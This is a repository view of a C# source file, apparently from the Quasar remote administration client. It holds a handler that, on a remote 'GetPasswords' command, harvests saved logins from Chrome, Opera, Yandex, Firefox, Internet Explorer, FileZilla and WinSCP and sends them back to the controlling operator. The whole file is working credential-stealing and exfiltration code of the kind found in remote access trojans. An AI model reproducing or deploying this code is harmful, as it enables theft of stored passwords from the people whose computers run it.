Files
Quasar/Quasar.Client/Messages/PasswordRecoveryHandler.cs
2020-05-31 11:53:14 +02:00

60 lines
1.7 KiB
C#

using Quasar.Client.Recovery;
using Quasar.Client.Recovery.Browsers;
using Quasar.Client.Recovery.FtpClients;
using Quasar.Common.Messages;
using Quasar.Common.Models;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
namespace Quasar.Client.Messages
{
public class PasswordRecoveryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetPasswords;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPasswords msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPasswords message)
{
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
var passReaders = new IAccountReader[]
{
new ChromePassReader(),
new OperaPassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),
new FileZillaPassReader(),
new WinScpPassReader()
};
foreach (var passReader in passReaders)
{
try
{
recovered.AddRange(passReader.ReadAccounts());
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
}
}
}